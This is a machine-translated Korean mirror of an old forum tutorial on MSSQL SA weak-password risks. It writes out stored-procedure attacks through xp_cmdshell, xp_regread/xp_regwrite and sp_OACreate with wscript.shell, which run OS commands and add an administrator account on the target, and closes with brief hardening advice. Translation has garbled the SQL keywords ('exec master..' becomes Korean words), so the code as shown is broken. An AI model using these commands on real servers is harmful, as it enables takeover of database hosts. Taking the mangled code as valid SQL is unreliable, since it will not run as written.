이 글은 기계 번역의 미러 문서이며, 원본 기사로 바로 이동하려면 여기를 클릭해 주세요.

보기: 10849|회답: 0

[출처] 2011 MSSQL 시스템 보안 SA 약한 비밀번호 보안 위험 튜토리얼

[링크 복사]
게시됨 2014. 11. 26. 오후 3:48:23 | | |
저장 프로시저는 SQLServer에 저장된 미리 작성된 SQL 문들의 집합으로, 그중 가장 위험한 확장 저장 프로시저가 xp_cmdshell로, 운영체제의 모든 명령어를 실행할 수 있습니다. SA는 Microsoft SQLServer의 관리자 계정으로, 최고 권한을 가지고 확장 저장 프로시저를 실행할 수 있고, 실행과 같은 반환 값을 얻을 수 있습니다:
대장님.. xp_cmdshell 'net user test 1234 /add' 및 exec master: xp_cmdshell 'net localgroup administrators test /add'
이렇게 하면 사용자 이름의 test, 비밀번호 1234, 관리자 권한이 상대방 시스템에 추가되며, 이는 그림 1에 나타난 것입니다.

이제 왜 SA 비밀번호를 얻고 시스템의 최고 권한을 받는지 이해할 수 있을 겁니다. 많은 네트워크 관리자들이 이 상황을 모르고 SA 사용자용 간단한 비밀번호를 1234, 4321 정도 설정하거나, 아예 비밀번호를 설정하지 않아 네트워크 침입자가 해킹 도구로 SA 비밀번호를 쉽게 스캔하고 컴퓨터를 제어할 수 있도록 합니다.
xp_cmdshell 외에도 침입자가 악용할 수 있는 저장 프로시저들도 있습니다:
1. xp_regread (이 확장 저장 프로시저는 레지스트리에 지정된 키에 지정된 값을 읽을 수 있음), 사용 방법(머신 이름 가져오기):
선언@testVarchar(50) 임원장.. xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='system\controlset001\control\computername\computername', @value_name='computername', @value=@test 출력 선택 @test
2. xp_regwrite (이 확장 저장 프로시저는 레지스트리에서 지정한 키에 지정된 값을 쓸 수 있음), 그리고 사용법(키에 bbb HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaaValue를 쓰기):
임원님.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\aaa', @value_name='aaaValue', @type='REG_SZ', @value='bbb'
침해된 컴퓨터의 관리자 사용자가 레지스트리 내 HKEY_LOCAL_MACHINE\SAM\SAM\ 정보를 탐색할 수 있다면, xp_regread와 xp_regwrite 두 개의 저장 프로시저를 사용해 관리자 사용자를 복제하고 관리자 권한을 얻을 수 있습니다. xp_regdeletekey xp_regdeletevalue은 시스템에 보안 위험을 초래할 것입니다.   3. OLE 관련 저장 절차의 일련으로, 이 저장 절차는 sp_OACreate, sp_OADestroy, sp_OAGetErrorInfo, sp_OAGetProperty, sp_OAMethod, sp_OASetProperty, sp_OAStop, 사용법을 가집니다:
'wscript.shell'SP_OACREATE @shell INT EXEC 선언, @shell EXEC SP_OAMETHOD @shell, 'run', null, 'c:\WINNT\system32\cmd.exe /c net user test 1234 /add'--
이렇게 하면 다른 시스템은 test라는 이름의 사용자와 비밀번호 1234를 가진 사용자를 추가한 후, 다음을 실행합니다:
@shell INT EXEC SP_OACREATE 'wscript.shell'을 선언하고, @shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup administrators tests /add '--
사용자 테스트, 관리자 그룹에 추가됨.   해결책: SA에 사이버 공격자가 해킹하기 어려울 만큼 복잡한 비밀번호를 부여하세요. 안전을 위해 SQLS sp_addextendedproc sp_dropextendedproc erver의 쿼리 분석기에서 저장된 프로시저를 사용해 xp_cmdshell 같은 저장 프로시저를 삭제sp_dropextendedproc 필요 시 sp_addextendedproc 복구를 사용해야 합니다. OLE과 관련된 저장 프로시저를 삭제하면 Enterprise Manager의 일부 기능이 사용 불가능해질 수 있으므로, 저자는 여기서 삭제를 권장하지 않습니다.
이제 SP_OACREATE 사용법을 알게 되었으니, \WINNT \system32로 가서 cmd.exe, net.exe, net1.exe 세 개의 파일을 찾아 "속성" - "보안"에서 접근 가능한 모든 사용자를 삭제할 수 있습니다. 이렇게 하면 시스템 사용자 수를 늘리기 위해 SP_OACREATE을 사용하지 못하고, 필요할 때 접근 사용자를 추가할 수 있습니다.




이전의:2011년 MSSQL 문장 비밀번호 검증 보안 취약점 튜토리얼
다음:2011년 MSSQL2000에서 SA 계정을 기본적으로 변경하고 삭제하는 가장 안전한 방법은
면책 조항:
Code Farmer Network에서 발행하는 모든 소프트웨어, 프로그래밍 자료 또는 기사는 학습 및 연구 목적으로만 사용됩니다; 위 내용은 상업적 또는 불법적인 목적으로 사용되지 않으며, 그렇지 않으면 모든 책임이 사용자에게 부담됩니다. 이 사이트의 정보는 인터넷에서 가져온 것이며, 저작권 분쟁은 이 사이트와는 관련이 없습니다. 위 내용은 다운로드 후 24시간 이내에 컴퓨터에서 완전히 삭제해야 합니다. 프로그램이 마음에 드신다면, 진짜 소프트웨어를 지원하고, 등록을 구매하며, 더 나은 진짜 서비스를 받아주세요. 침해가 있을 경우 이메일로 연락해 주시기 바랍니다.

Mail To:help@itsvse.com